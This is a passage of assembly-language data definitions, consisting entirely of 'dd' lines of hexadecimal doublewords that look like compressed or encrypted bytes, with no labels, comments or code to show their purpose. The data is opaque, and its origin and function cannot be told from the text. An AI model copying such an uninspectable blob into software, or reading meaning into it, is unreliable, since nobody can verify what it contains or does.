0D7F311CCh, 80A4E67Bh dd 0C848305Ah, 275C4284h, 3589C140h, 8249CCB4h, 7C0B381Ch dd 0C93340F8h, 0D800ADC3h, 0B784D02Fh, 0BF6DF1Ch, 5DD5BDC0h dd 952E2048h, 81221007h, 9DB0FA2Ah, 111DF46h, 0CDD5E551h dd 0D86A27BFh, 101DD439h, 15014067h, 78871345h, 834F8885h dd 0C474B449h, 0F1721C40h, 0B9803DCDh, 0F773D29Bh, 7D1416C3h dd 405CBBh, 351DA718h, 7C62332Ah, 3B100734h, 5092E21Ah dd 891CD9C6h, 0E7A9E601h, 265D1890h, 0E0BE6084h, 0B92CFCB3h dd 950730CEh, 0E9B80F12h, 1A88EC8Bh, 2D7CB4C0h, 0B80202E4h dd 68A884B2h, 0C8011C7Ah, 4B77D9C0h, 523F5554h, 0C8208BECh dd 312AC03Eh, 514F7ABh, 4AAE58C9h, 1D259CD7h, 84C060ACh dd 4E6109FEh, 0D02F9F5Bh, 0D31C3023h, 0BD1F09h, 3FF5167Ch dd 5D2913FFh, 0C8B4CB39h, 9C2DC032h, 260FCC60h, 0F6AE181Eh dd 0DE1CE4h, 4B76AF59h, 5A5DA013h, 4A00D374h, 18AEF548h dd 0A17FE535h, 7218CDECh, 12D95D1Dh, 0BE086525h, 7C5D7A80h dd 0C3E694F2h, 865CAEE8h, 0F0DC1278h, 85759009h, 18B135CCh dd 480CB9C4h, 0EF052441h, 92989A7Ch, 105418B4h, 47A788h dd 0FCFFE7A2h, 0F500C87Ch, 4D19E8E5h, 12AE162h, 360498AEh dd 308DBD10h, 20B75DF0h, 153CB18Ch, 0E03B00AEh, 6D44FADBh dd 2D301110h, 0B741600Eh, 77D8025Fh, 0A0159937h, 1A790071h dd 7400C818h, 0FFAACE62h, 0C0663FEh, 0EF191EAFh, 2F015FF8h dd 7CBCAC52h, 0D8206B77h, 3CBA5CFAh, 8E9BFB13h, 0C03FC83Ch dd 0C617E6F3h, 6194E3Dh, 69DF6394h, 2C1CB460h, 981130h dd 0F2956AEEh, 1F04FA9Bh, 0C07560E5h, 97C2BB72h, 0FCB4C7D5h dd 0C8AC2845h, 98CF9B8h, 0B46A75B6h, 0A17CDC40h, 0CB710500h dd 6F042606h, 77440BABh, 24D1493Dh, 3B18FB79h, 983E425Eh dd 0C2000323h, 1BEFE481h, 9C0701Fh, 0EEC9515Eh, 0D47A2A0Bh dd 0AD320EECh, 9D6D10DBh, 80FB1184h, 64CC7E10h, 929E4D0h dd 0EF0A364Eh, 9C9FA422h, 393EC8A2h, 0B188C84Bh, 9A00E666h dd 65E86734h, 1F57B12h, 55B73B50h, 2C05E3E0h, 99671058h dd 8018D51Eh, 922CC9A0h, 202546B7h, 0C448672Fh, 3A8D602Fh dd 0EECA16ABh, 6FA0E12Ch, 70CBBC13h, 0B905E3DCh, 14C207BFh dd 0C93043BDh, 0A870495Ch, 0FC9F9765h, 0B4838F11h, 0BCC058D8h dd 34B8A392h, 8EC42485h, 14984A60h, 0C0BA9C17h, 0DC2EA4A2h dd 0D7AC01D0h, 0EC067C01h, 0A267112h, 713050E7h, 9AF4B06Bh dd 8CE35E20h, 518A7BCCh, 192C79D4h, 1C88FDCh, 6E6CE3Ah dd 8A31C67Bh, 2CA23370h, 80EC0795h, 0BCC27137h, 2CA5D3h dd 8171CF84h, 353E77ABh, 7B05843Ah, 11004056h, 10D5D006h dd 7E070B04h, 0BCB9C85Ch, 0DF7D7504h, 0F154F273h, 520C368Eh dd 47B72901h, 65C954E5h, 23CC2F2Ah, 9D00338h, 0BCC77B21h dd 389456B0h, 0DCC89504h, 0F2D0B896h, 0B11380A0h, 1805D04Eh dd 1C0BACA1h, 915097B4h, 0D69C8081h, 1F76A0BFh, 12FF482Ch dd 3A90D4F0h, 93223C4h, 4180AFF2h, 0F9186E1Fh, 0D9286404h dd 68859759h, 0CB0068F2h, 516AC2C4h, 0F4B83B66h, 0D8CBE45Eh dd 0F4C03088h, 0E504309h, 7B465F1Bh, 5BA78EE7h, 69CF2020h dd 0B2E275Ch, 5DEF142Eh, 62A30882h, 17A0AB32h, 80849104h dd 636F23BAh, 93A4002Eh, 44A09D91h, 844AFB13h, 44D05813h dd 807021h, 0F8C108E8h, 0A31E690Dh, 0BBBD5000h, 0B8728BDFh dd 1FB8BC10h, 2D9A4D05h, 0BC403C98h, 77988C8Dh, 4603B605h dd 0E0C84B11h, 0B1382906h, 188F5974h, 419060E4h, 0E0FA7465h dd 974DE525h, 80F59154h, 24DF81F1h, 6B15255Ch, 10E370C1h dd 0BD4D944Fh, 0AC45E409h, 286081C4h, 710014AFh, 828F7723h dd 2EF1ACCh, 0B86B1BC6h, 0B08922E8h, 24053081h, 0E0023E2Fh dd 27B375Ch, 0FC129F69h, 31465E20h, 0C838039h, 0EE7EDEBBh dd 68C04FE2h, 60D27907h, 42F2FCE2h, 0AFD9030h, 30CC0C7h dd 7897AD94h, 90823C91h, 0E450C3C0h, 30AFA839h, 5EEE2141h dd 2203072Fh, 33A464DAh, 0B3D8F0B9h, 0AFF6A9ADh, 3C761C05h dd 60C1A2C9h, 2C7A32h, 188C2FBCh, 0C09E4E1Ch, 0F3285B9Ch dd 0B8876898h, 4A602E44h, 0D705DE49h, 24551072h, 0A385F001h dd 473F40DAh, 0AF671F80h, 0EEC4EF81h, 6190095h, 5E98968Dh dd 4A024346h, 905D15CFh, 40C77C48h, 88AD9403h, 0E1FC437Bh dd 55F83EF5h, 0ABAA0031h, 0E016061Fh, 766B2F61h, 25D0E1E8h dd 0C6F6Ah, 0EEE217D1h, 0E06BDFB4h, 10710A1Fh, 8016C1h dd 9EEA7942h, 0BA05B52Fh, 878F7C46h, 5480A0h, 0DBD6E074h dd 0C9A84C0h, 0EC4CA848h, 5F078C1Bh, 0D067A4D4h, 48E0ADA1h dd 39C46830h, 4609959Ah, 0DCFA4F4Eh, 3E5B1700h, 1ED68407h dd 0A5C21F5Fh, 2792CF9Dh, 0E471CA42h, 54A41CDBh, 87465Ch dd 0C740C444h, 128C9E7h, 0BD1AF0B2h, 3473EF14h, 3E411230h dd 0A63900CFh, 116B1F70h, 7CB80155h, 3DD8C010h, 0C2CCB17Ch dd 38D121BFh, 2118F5F1h, 4A74BD7Dh, 4C3D583Ch, 89D71040h dd 0A506C905h, 0E8CCFDE5h, 0BC5707EAh, 0E2AE1361h, 0DC606704h dd 929F1C5Eh, 0DE306010h, 0F2918097h, 9B39208h, 19130546h dd 1D90D04Dh, 574F0B7Bh, 1EE23087h, 8054DC09h, 0B5B28337h dd 694B5CCAh, 0FC88648Fh, 1D06FDC0h, 0A7DC9C33h, 81FF5890h dd 13845B00h, 0F22D7865h, 4BC7009Bh, 0F557B72Ch, 18724576h dd 504A4D88h, 0BE9B58B3h, 8E467CE0h, 0C5F81900h, 0C4BF80EEh dd 9AB15105h, 0A020ED5Ch, 2DC85E5Fh, 1098650Dh, 90A84AAAh dd 0AE003D0Ah, 0FD53FA08h, 2E8C9B16h, 434CA8B7h, 0C2C04A30h dd 0C400C199h, 0DD0F4487h, 7D27B04h, 185E41CBh, 10E209B1h dd 0F579D051h, 6002618h, 92175B20h, 0EE4DC091h, 47A52C11h dd 5C35ADB0h, 0A9C37580h, 2BD3905h, 0C502B6C1h, 685E5E4Fh dd 2BD72710h, 37F610A8h, 96D4ACC0h, 2809F033h, 66F873C3h dd 903E4F80h, 3B503988h, 0EC159502h, 507066CAh, 90FE658h dd 8F567CCh, 8BE4B885h, 0C02EC850h, 0FE95B69Ch, 14A11FAh dd 14A708C1h, 50849455h, 0A99D8840h, 938F2Fh, 0A1631080h dd 66AFA015h, 0A0ED2C27h, 3FB67488h, 3A4A1DB5h, 16AF45D4h dd 0C5D0E095h, 0BAF34B01h, 0B37E5C36h, 0B0E1CC76h, 0FD3071ECh dd 0E478027Dh, 0C0730C60h, 5C04240h, 702F714Eh, 8C1E8123h dd 0A38DD81h, 0AFF89BF6h, 0E1D56B0Eh, 7477DC02h, 9D78C209h dd 80F61154h, 0AD400BD0h, 80F400AFh, 340708D2h, 0E9E44EBDh dd 577074BBh, 6D477E0h, 4D0F28BAh, 9C08B001h, 8F4B13h dd 0A807D5C1h, 7E25AD8Ch, 0F158610Dh, 6660DD2Bh, 78F1F0B4h dd 0EBCCA168h, 3548822Eh, 1428DCD1h, 1090C8E0h, 0C594D61Eh dd 50E98AAh, 69B11254h dd 9E8CF017h, 92AF88A8h, 4E4B83C4h, 235208C8h, 1F1F31ECh dd 0A2A907h, 82A16701h, 8A65E03Ah, 0C2667600h, 0E6C8FC05h dd 4D9C2E92h, 2F4674BCh, 6B9E1B07h, 0F0813D4Fh, 0E9F69BF9h dd 90FD4225h, 3E072C7Ch, 0F27B497Fh, 5B3400EAh, 7323DE85h dd 0A22F8EE5h, 0E7600BE6h, 60196428h, 141C70Eh, 0FE9C76D5h dd 7BAC930Dh, 6ED6BC42h, 4B007844h, 0C070DA26h, 0C787E3F6h dd 25EB0057h, 33A8042Eh, 61541873h, 5D282CD4h, 4468CC39h dd 0C808EC99h, 2B3419Fh, 0BB64303Ah, 46054C90h, 4F375265h dd 8228A4h, 90442540h, 43F75775h, 64882Ch, 0E084C100h dd 0F1C4DB8Ah, 8322B468h, 24B7B5h, 328D8433h, 7A00FC6Ah dd 1ACC3F69h, 186F20F7h, 10CA18C5h, 0E439DB0Ch, 0B72900BAh dd 9F709D54h, 0F0ACB39Ch, 0BC0137BBh, 7BFD41Ch, 0F068F3B7h dd 0C8BC8B4Ah, 6E69C019h, 0D2028B15h, 92DD466Ah, 3F4844AFh dd 0ED964A68h, 931CD2C4h, 6B08CC2Ah, 80A0297Bh, 6DCB4C9Ch dd 616DA10h, 0F8E046A3h, 4910B6C8h, 0BD50645Bh, 12E7B087h dd 0A0042D58h, 9FB7FAB0h, 812C1148h, 6BC64A02h, 44A792EFh dd 9C5A009Ch, 1273B8C7h, 0FC9A1D19h, 0DC98444Ah, 0C25C2D61h dd 3991DC17h, 5DA63B9Dh, 3404DE88h, 1E365B1Bh, 601D4FDh dd 0F75CBCC8h, 4283F70h, 28678ADEh, 18368E42h, 0C4B9A859h dd 5BB21500h, 17F37B8h, 0CBC2E0F5h, 62AE9269h, 18790494h dd 0A70648B9h, 8983928h, 27EFE020h, 0DC375FC2h, 0B4257581h dd 406DFBEEh, 286DB327h, 91F0660h, 0D3B50461h, 0B9B34AD2h dd 0DCC90040h, 3A680365h, 0DE9407F2h, 5BBD2306h, 0B376D482h dd 7D678FCh, 0D4204C68h, 0E7884093h, 21C7964Fh, 2E00C2DCh dd 3F0D9A11h, 2407B37Dh, 50D1079Eh, 0F9F0EEC9h, 205BC8BAh dd 88F76C38h, 2222C4E7h, 3CC91043h, 0B873A029h, 193067ECh dd 0B496C89Ch, 0B9B048A6h, 5A0F7053h, 0EE206BB4h, 1D06A09Ah dd 0B79DB3EBh, 8F91B835h, 0E8530485h, 0E00B0208h, 40AF9A62h dd 82893374h, 8B61A0C0h, 0BDCC097h, 942C843Ch, 424018BEh dd 1581AD7h, 0E348FF6Fh, 28EEA308h, 0D8BB2C84h, 2384674h dd 0A3059F88h, 308078BAh, 19213B3Eh, 0ED3932B4h, 6FE80DCh dd 0A790F520h, 0F1300BEh, 451C3418h, 414B47EDh, 3580309Bh dd 3F0C5B98h, 109F12F4h, 40C77C00h, 1025CC77h, 7990F94Eh dd 39C218F7h, 529EF0B9h, 4765821Dh, 0B076CA92h, 72CDD62h dd 1995C691h, 89423330h, 7E677A0h, 0D34C3467h, 242BE174h dd 446E3E2Fh, 88E01017h, 7B00D240h, 0C948FCF4h, 7E69C388h dd 1664028Ah, 0C591794Fh, 130D40C4h, 0A81934B1h, 5CC70040h dd 8E5D4E65h, 368EC408h, 7B072530h, 3081424Eh, 0A9803733h dd 75FFB3D2h, 8A79D971h, 0EC80BF00h, 0C98E60DFh, 0EC37975Ah dd 0D6DF1C00h, 1668689h, 989C79CEh, 6ABAB4EFh, 4931DC06h dd 88454B31h, 72074278h, 67D9631Ch, 51349930h, 54BC0036h dd 0CAF419E8h, 31E99866h, 0D4806828h, 0CF561218h, 6E5E88A8h dd 914209E0h, 191418B7h, 0D40597E9h, 0C870CE28h, 0F540C082h dd 0D40F062Ah, 0C0AC2185h, 0E99B0E95h, 0EAE57CA5h, 6C9D4D36h dd 3E38C808h, 185F3F00h, 583A98C9h, 48224485h, 2500FBFCh dd 4D5A5F37h, 0E1A5852h, 0BFC68D06h, 0D57A3A80h, 0B5BD25B5h dd 9A9E8DE4h, 0BCF47898h, 6B058C2Eh, 0B36FD8EDh, 0F6A284A3h dd 194A930h, 0E0297C9Fh, 204904A5h, 1F5AE58h, 0F120C2C6h dd 92EF916h, 68FAE454h, 0DFD8009Bh, 1A530011h, 49271C2Fh dd 6EFD922Ah, 53672830h, 0EF210928h, 0D4809D78h, 7F91B2C4h dd 0CCECC30Eh, 147AE706h, 0DC8854E9h, 5237C600h, 0DFE58C66h dd 472601C9h, 0C67114Eh, 46E89DF8h, 14B00B56h, 0C035E6D6h dd 62F1341h, 15000AE2h, 113F2AEFh, 5DF3E31h, 9CBEB116h dd 2430AD83h, 0C0110D7h, 87FA3330h, 4AA02C3Fh, 13449640h dd 0F69B5F13h, 9B47C490h, 8D172703h, 2CB420EEh, 10B11205h dd 9B07A0D0h, 84994FBAh, 4864AA68h, 0FA84608Bh, 0B3F83037h dd 3C190221h, 2EBAC307h, 0C18858D9h, 0C4C00045h, 0CAAF60B1h dd 0A3F56413h, 0D91760F2h, 0B218A337h, 107530F5h, 638A981Eh dd 51C4B31Fh, 149705A8h, 48A53305h, 359C8h, 0D6D89CE6h dd 39E2C85Ch, 0B884E490h, 3228D4EEh, 61151895h, 7C145E67h dd 5E185E8Ah, 0EE05F946h, 0D0906D4Bh, 84C0A73Ch, 4093C727h dd 0B454ED90h, 4873E9FCh, 4F576050h, 7AF8905Ch, 93007FD4h dd 2EE9B440h, 3519541h, 0BF7444FDh, 0E2DCB6C1h, 301AE2E4h dd 6300A58Fh, 46797126h, 7D276595h, 38DC4867h, 3B5B4409h dd 5C25FCD0h, 4B4E05Ah, 3E618F46h, 8C706E6Ah, 5CC58856h dd 7580ECBEh, 0BBC4B570h, 0DBF600EEh, 3B7FEC20h, 3502D34Fh dd 16AF80F1h, 2FFCDE3Dh, 0C0F3C04Ch, 0D508E2DDh, 8C470736h dd 0C081924Eh, 0C3448C1Eh, 0B95B1880h, 2DED1D1Bh, 0FCC212D6h dd 12D604F4h, 16CC7327h, 20671648h, 0F0842EF0h, 0ADD2DC00h dd 0D94AB1F5h, 0D1F100BFh, 24621CA9h, 134D4F84h, 59992564h dd 4472175Ch, 22F384Ch, 0E43DE7ACh, 16B9009Ch, 3B2D6DAFh dd 657B5329h, 5B01F4Ch, 0E3AC5242h, 0E1AC98B9h, 252438B8h dd 920062B4h, 0B72C720Ch, 81F6275Fh, 0C3A0F860h, 0D0F0D24Eh dd 8F3F4E64h, 0C0338848h, 5E34F9ECh, 10BE5400h, 62DF58C9h dd 1C8C4FA3h, 0A469F4h, 3969C589h, 0A300F1F9h, 6028925Ch dd 7BC6E7EEh, 3B4727C3h, 0F8C4DC67h, 4C94CC60h, 21DD3F00h dd 0CC872D0h, 11AC9936h, 0ED7116F6h, 46E110B6h, 0BA3D60C6h dd 2D8410BDh, 0E756079Ch, 2012D04Fh, 0FE4C64CCh, 5B10C201h dd 0B794D63Fh, 58006432h, 0CEA3D18Ch, 0C12410D7h, 3F890C80h dd 251CD335h, 2540E4CDh, 1F962A40h, 0CA5BE08Dh, 5FC9DFBh dd 0C236FD47h, 207454F8h, 8C883E65h, 99210024h, 568B052Ah dd 2008134h, 384DC6C9h, 0E5E006BAh, 0A015C1D7h, 3DBC603Ch dd 0E2F2008Ch, 0C92C3799h, 6427BCA7h, 4C70E00Fh, 0BAC402ABh dd 28FCB4E3h, 64C27C40h, 9969E72Dh, 0C9107FD8h, 689AC066h dd 9725FCB6h, 828E91D0h, 60C2393Dh, 5A1093F9h, 5854C2E5h dd 18F9A4D9h, 4C018518h, 0F563816Fh, 3FD1442Ah, 4E112C7Ch dd 21EC0E95h, 399B0042h, 6AD0D90h, 70C5E7B8h, 600601Dh dd 313EDE32h, 0E8D979Bh, 26BC652Ah, 43D41080h, 0ACFCD387h dd 0D8349606h, 60086EA4h, 7F682137h, 89062BD3h, 31BE01B5h dd 2D7C0019h, 2398B6E2h, 1D3EF7E6h, 0A300F3AEh, 27BCD12Eh dd 78241094h, 2330C00Bh, 7B97684Ah, 0F854B306h, 6009AB27h dd 606A2142h, 0F6794C97h, 39CCF70Dh, 70831896h, 7B0D1A3Ah dd 141276C0h, 2F3019C0h, 0EA9985E6h, 6645B847h, 21270818h dd 0E67D5375h, 0B5142801h, 0FBFF6E80h, 80269891h, 0B37D976Ah dd 45448C64h, 9762006Ch, 48B2DAFFh, 75022FE6h, 61DFAC80h dd 68AC87D7h, 0F8A72337h, 0F4B18Ch, 5D6EED81h, 55144E97h dd 0E9086766h, 791A0121h, 0C608AEDh, 84698033h, 0B101AEB0h dd 0EFD303ECh, 0ABE3E855h, 201811D3h, 63D92513h, 0BDA10E4Fh dd 6BA04051h, 8EB49E67h, 463DB300h, 0B0DC8D8h, 0DBC93277h dd 0DC90BD71h, 9800A932h, 76292E53h, 73E95F2h, 0C21CF85h dd 8237494h, 976FC02Bh, 8C46B382h, 71014622h, 5B069767h dd 0A7C0A401h, 0B5E60031h, 58C5A5B3h, 0F281745h, 0F220E8FCh dd 0D85F0724h, 70EF3427h dd 0BAD9C90h, 3A519EEFh, 9BEB9403h, 2CAB8095h, 0C958601Fh dd 0D22081D4h, 0AE32D80Ah, 7FAC88F1h, 800C4939h, 9989E633h dd 28448C50h, 0E62B0057h, 0CB8E096Bh, 911E9B7Eh, 42EE35ACh dd 2922130Ch, 0AB770085h, 0C2E9CF4Dh, 6BEE418Ch, 0AF50D977h dd 324C5A82h, 0F06D1289h, 6A0F0407h, 0E848BB8Fh, 186003E9h dd 0E82EABD8h, 0DF786385h, 10385B30h, 6973B88h, 84E1BAEh dd 0E315E02Bh, 584A0A9h, 4AB99DB3h, 0BE92A000h, 353C225Eh dd 3A21A70Ch, 4623B0h, 3C6E6CE2h, 0FF74EC8Bh, 6013E63Fh dd 53713AF1h, 46620915h, 0A280E140h, 0D86D68E8h, 7BF86303h dd 3C0BE5h, 2FA05A51h, 656702ACh, 1F24C9FCh, 41004729h dd 704A47ECh, 0DC3054BDh, 341207B9h, 9095FCB3h, 90AE9EB5h dd 8B9DFD00h, 39E35F6Eh, 58E24891h, 0C7802C88h, 0F83ABA49h dd 227D01E4h, 5FD3B5E2h, 88804EFBh, 2EDFC044h, 0ED005351h dd 0F9560F33h, 99AC7Ah, 0D1FEAB6Ch, 9B13E22Bh, 3B4BA814h dd 0AD5D04D4h, 1CCE948Ah, 3C93E88h, 0DA98CBh, 3EF155D9h dd 0B52DC170h, 7BF8D076h, 7C011C9Bh, 6F5D69EDh, 1523EA19h dd 809EB374h, 0FA721D6Eh, 77E10083h, 485DEC55h, 8B0368D9h dd 0C1169276h, 56208991h, 4DF34820h, 0AF120031h, 789C323Fh dd 87DD8132h, 9C264099h, 55002522h, 76BDE629h, 51D7D8FDh dd 96E89039h, 544E48D1h, 7FC0D50Ah, 80C6100Ch, 0A1E7AE34h dd 9490E5h, 4D1C9271h, 0C0221B44h, 18E69930h, 0F4DAE3A0h dd 0B8611A12h, 5867B85Ch, 61703C44h, 0F2030F29h, 0CDC5B60Eh dd 0BD883E3Bh, 0EF0A29E0h, 0C90739E7h, 0AC55DF8Fh, 0C8E13172h dd 0C57C8994h, 41350C81h, 3D820EE8h, 0A5F9F834h, 0CB7BB513h dd 0EF23FC3Ah, 2D3A1900h, 73466FBEh, 0B4CE3F8Eh, 5D05FCBBh dd 0E2C9BC0h, 5E0FB5A0h, 1027BB06h, 5DADB30Dh, 0B8D0C844h dd 1831624Fh, 78C41B13h, 0AA002B79h, 41558CB1h, 9891E2Dh dd 0C6B0F7ABh, 602A6004h, 2381976Eh, 401184B3h, 97667001h dd 91CFCDF5h, 7E807DE8h, 7F5D6BEDh, 17EA448Ch, 21ED7600h dd 0CDB53EC8h, 0B837612Dh, 802FAAE3h, 0B3919061h, 11F9F38h dd 2960FB8Bh, 6F14259Dh, 520009E8h, 6CB81DFh, 7A07F710h dd 2AFAE2BFh, 5DE961C1h, 0DFC6FFE9h, 1D711259h, 90004118h dd 81207C2h, 7475E4E9h, 2506604Bh, 685D3A03h, 8BAF610Ah dd 465C32C1h, 95BF0317h, 0EEEB8FA0h, 500FE019h, 1666078Ah dd 0FBDE25BEh, 1C88778Bh, 0A334DBC0h, 0BD0A1D79h, 313C039Dh dd 0BA9D0585h, 60558CE0h, 60500C12h, 260800Fh, 66585641h dd 2D0802B8h, 24048961h, 4280A3B7h, 7C082FE8h, 3C878A2h dd 0BD8BD139h, 7A401EE9h, 354105E9h, 975562AFh, 80191108h dd 83711E42h, 89A305DBh, 1E177595h, 3D8D0529h, 947A032Eh dd 2EF51F06h, 1142335h, 0C083F937h, 5BE96E05h, 61211D00h dd 49258B26h, 3973591Eh, 9529A540h, 399B4C6Ah, 0F125090h dd 0BE4740B7h, 551BA926h, 4195A3C7h, 0BEFF1D78h, 0FB0E8ED5h dd 36C01B88h, 1DD14DAh, 30C8C9E3h, 228C0FF8h, 0BD0B055Ch dd 8741212Dh, 1E979C9Dh, 0B8BBF97Ah, 402F0090h, 0A5E89883h dd 895CEF3Ah, 0CD1A324Ah, 5BD3DFD3h, 0EE6C58h, 81DCD02Ah dd 0B50BC188h, 57C3E179h, 3E264D85h, 192A8B0Ch, 0D2E93FEEh dd 0CC7744EBh, 0F99E5406h, 21DCE9h, 0CE2F7EDFh, 0F206E5D8h dd 2BFDBD81h, 25D06046h, 11E860Fh, 83500CCEh, 30DFD85h dd 9D8B5E22h, 0E000A69h, 9699D3BFh, 0E1E3813Dh, 0DB0B3381h dd 6F92850Fh, 15ECDEE8h, 0BB7C3E8Ch, 5E95DE80h, 0BD830C65h dd 0CC04F436h, 2E8435A2h, 239B3B60h, 12D40416h, 71C781E7h dd 6EE9010Eh, 81662380h, 0C740F0EEh, 0B83B8551h, 0E9F90DDFh dd 0E97A0D59h, 5D5AC64h, 0BD09EA5Ch, 34E650DDh, 9D552F9Ch dd 801D91DEh, 8CBBFAEBh, 6E2D0E3Dh, 472854Bh, 9434F515h dd 0FE0307Ch, 3FCB1E83h, 5F44D760h, 8700F0A6h, 0BDB1C93Ah dd 1DF020F2h, 0F1EB341h, 2180CA3Fh, 23816155h, 73FEFF39h dd 0D1BD330Bh, 8C532002h, 268BFDBh, 0F66BF3D8h, 0DE8404C3h dd 0D1AE5777h, 4043FF7Fh, 5A487CC5h, 6A04C776h, 19363440h dd 2A090CC1h, 0E864A87Bh, 0B0008C16h, 0BE909CDEh, 2F4364ADh dd 0A155501Ah, 84235F5Dh, 83D1E0h, 8B2CCE7Bh, 0D392EBDBh dd 0BE0D6D00h, 2149419Ch, 6890495Eh, 0C058E2BCh, 0DD032DA1h dd 0F5519398h, 0D71F0700h, 0D97FE656h, 0B0FE388Bh, 9104E48h dd 38B87D04h, 73D78103h, 0B871E467h, 1388FABFh, 4D8B60Fh dd 0C8BAF3AFh, 95100175h, 8B09281Dh, 0E591E8C3h, 2182DCBBh dd 3ACF5800h, 0E4AA5541h, 8497003Ch, 73DBB3ECh, 0F2C3823h dd 6040898Eh, 16C15F61h, 0FF5104E8h, 0F4475389h, 665E8208h dd 0D19DE2F7h, 12811711h, 0C9902B56h, 3573D8h, 93DE7173h dd 0C050C9A1h, 89D468F4h, 8C98241Ch, 0EC2B4522h, 640DD4FDh dd 0CC80922h, 0F9BF4203h, 84D52643h, 8A83DEFDh, 4B2CCF75h dd 251400DEh, 186FA97Ch, 27548A02h, 0F1518BEDh, 0F07B36EBh dd 1E9DBA65h, 2C4F3C0h, 613CF88Eh, 35CEEF41h, 69E97A5Bh dd 0F924ADACh, 2EA931DDh, 3B78C1ABh, 1289EACBh, 212DB185h dd 0ED8D314Ch, 3010AA05h, 1A44AFA7h, 2EA59460h, 0AB9FB02h dd 89820FFDh, 4D7E0757h, 0A6502AE8h, 940E502Fh, 0E77C243Bh dd 8102C3Ch, 510C2CADh, 61C13C60h, 259DAF12h, 870CA830h dd 10D05848h, 3E610355h, 5116880Fh, 32B9F8B8h, 0B88F5DE5h dd 0AD8D14DFh, 5109170h, 0C183160Eh, 1723783Bh, 94B74800h dd 0B0D93B0Ah, 1FC160F0h, 0CD6B4DBFh, 8C7EAF90h, 5DE86028h dd 3552EA1Ch, 6A576104h, 59C25381h, 0C16DF07Fh, 27FA045Bh dd 638D657Fh, 1B81A9BAh, 2FDE3607h, 0E3B5755Bh, 2B8C8F87h dd 465C7D4Ah, 0C713001Ah, 4C7FB3D0h, 343D181Eh, 3686B308h dd 0F4395CBDh, 25F7E00Eh, 6C9860FDh, 165BDF95h, 1745BD29h dd 0CCBBB0h, 43FA00CEh, 0C08B1608h, 91489589h, 49C38F2Dh dd 829CB7D8h, 2F11D9E5h, 99FAF5h, 3EAA478Bh, 4AAB5AD4h dd 66E6DF02h, 40563B99h, 8102FDC0h, 913B705Eh, 511FADC1h dd 0C02657CBh, 8AFFAAF0h, 0EC7C920Bh, 16E7D76Bh, 75601844h dd 0B514BF83h, 0C09FF89Dh, 6535F915h, 138400DCh, 886214D1h dd 0D04AB5E8h, 53856038h, 1BF2ED59h, 24BA230h, 0BAEC1D59h dd 46A0E43Eh, 0E55712A4h, 805CD73Fh, 0DBBA334Bh, 2179B958h dd 0FB2985FFh, 201815D1h, 47666358h, 6CA8B123h, 1D55F6F4h dd 812B6ACCh, 0F88566DFh, 9080620Eh, 8C1AA82Fh, 74F1E703h dd 9C79E1E8h, 3381F681h, 4B1D8C04h, 0ED53F903h, 10712D7Eh dd 5826F524h, 0A2CA43A1h, 7A323015h, 8D89600Ah, 81808F25h dd 5B0BE3D2h, 3161063Ah, 1A1C65B5h, 0A99D890Ch, 308D0D16h dd 0E6330479h, 0BE247408h, 0DE0D5Eh, 32FC3777h, 2D276873h dd 0A58FE5B9h, 310D801Eh, 509F08C8h, 168CBC3Fh, 6F4454A0h dd 93E70B9Bh, 0DF2D0B78h, 0FF00734Eh, 265E98A9h, 7E623Ah dd 9F5F17B4h, 0BE5DC8CCh, 97CEF40Bh, 0AA9B84D6h, 9C1528A0h dd 0DE3624B5h, 90B05A0Fh, 2DCFE0DBh, 0BB5E9480h, 7BA379A2h dd 6400C5E9h, 99957EA5h, 31485148h, 35211017h, 2705E918h dd 0DB3CA38Eh, 0A0E82583h, 0FB9A9C4Eh, 28180075h, 98B23D7Bh dd 38025621h, 66BA04DFh, 840A4333h, 24518D42h, 67E95E00h dd 0BDFF71F8h, 0D6D3D4h dd 1FC0999Dh, 0C48BF716h, 0FFE2B09h, 414928Fh, 8B4402DAh dd 61F9C1F9h, 4DC11209h, 0E005E108h, 80CF2CC7h, 161AAE15h dd 0A7BD0084h, 0D27C1819h, 3D1D6975h, 122DE628h, 401DCFAFh dd 0DA1FD499h, 244C234Ch, 467C2033h, 716F001Ch, 0FED7F782h dd 6A702DA5h, 73F5C41Ah, 0D6435867h, 0B12AE901h, 39A23F58h dd 5A8B6570h, 81DD01F8h, 0EC2FF3F7h, 0DC946A35h, 1A4674h dd 559A1E7Dh, 0B491BBB5h, 1C4676D6h, 37CF6B00h, 0D20927C4h dd 88778025h, 7381856Ah, 29071F10h, 0BA329DDCh, 5C02CFAh dd 142039DCh, 22B6505Ch, 0D040C604h, 2BADEF96h, 80DBC2E0h dd 8C1244E8h, 87FA5F00h, 41550EC8h, 52631FDEh, 28440154h dd 20C2A3E7h, 194205A7h, 0C09E3F58h, 0D0720270h, 0A20148F4h dd 627FBDCh, 86296A55h, 0C0E803BCh, 0D9B574C2h, 66DD0B1Fh dd 4141ECEFh, 66629605h, 9F457F05h, 6A5A29B7h, 0F31B00AFh dd 34C47631h, 0BD851629h, 9DED330h, 4826B7EDh, 92AD2DB3h dd 9940202h, 0BEDFD313h, 2239BD08h, 71087388h, 3909217Dh dd 2409BC7Bh, 28740CDh, 18531FEh, 0FA79AB6Ah, 17E18CE4h dd 0DFC55Bh, 20A38DCDh, 691EF57Bh, 7D1301BDh, 0F5743C0h dd 62EEBC82h, 28D8EBB2h, 2432D520h, 0C26C8E0Fh, 2DD92084h dd 1DD1DEA9h, 5E001E18h, 591EDECh, 5B90DDDBh, 7F524B4Eh dd 40D5EFDDh, 0A2F54A19h, 0D91B4700h, 0BEC77D3Fh, 0C0F93FA4h dd 0A3BD8305h, 2159B20Eh, 1918F927h, 95685C4h, 4BE914C4h dd 0C77CCDE4h, 528D68D6h, 0C193B41h, 0AD34E901h, 33869817h dd 9F145BDh, 16A5C221h, 0B5F7FA18h, 55EF6500h, 49CC4E28h dd 0A25720Ah, 508F591h, 94611D2Bh, 0EB97EA9Dh, 9EC0249Ah dd 11E0DF74h, 4C5F7048h, 0E01DC79h, 1786FB1Dh, 4AFCFDFDh dd 18A4023Fh, 220FD621h, 37A747D9h, 0A97500D3h, 4A67F056h dd 6DB6F312h, 8A2DA21Eh, 0D108F168h, 69112D20h, 0ECDB6D83h dd 9A640742h, 2134A9B3h, 6CD0A4F7h, 3BEF5E7Bh, 13142351h dd 0F78501E9h, 7390568Fh, 29B71EB9h, 0DDE124C1h, 99627B6Eh dd 236E3A5Ah, 0FE4D1C14h, 7018EE80h, 0E95F62F0h, 0F545F963h dd 0BD2B80B0h, 57055B9Dh, 0AC90BF66h, 423EF0h, 25C354A7h dd 0EB129031h, 0B5788BE2h, 5F164E9Ch, 0A48079C5h, 41A59D01h dd 257E6921h, 0BF132483h, 51D74D81h, 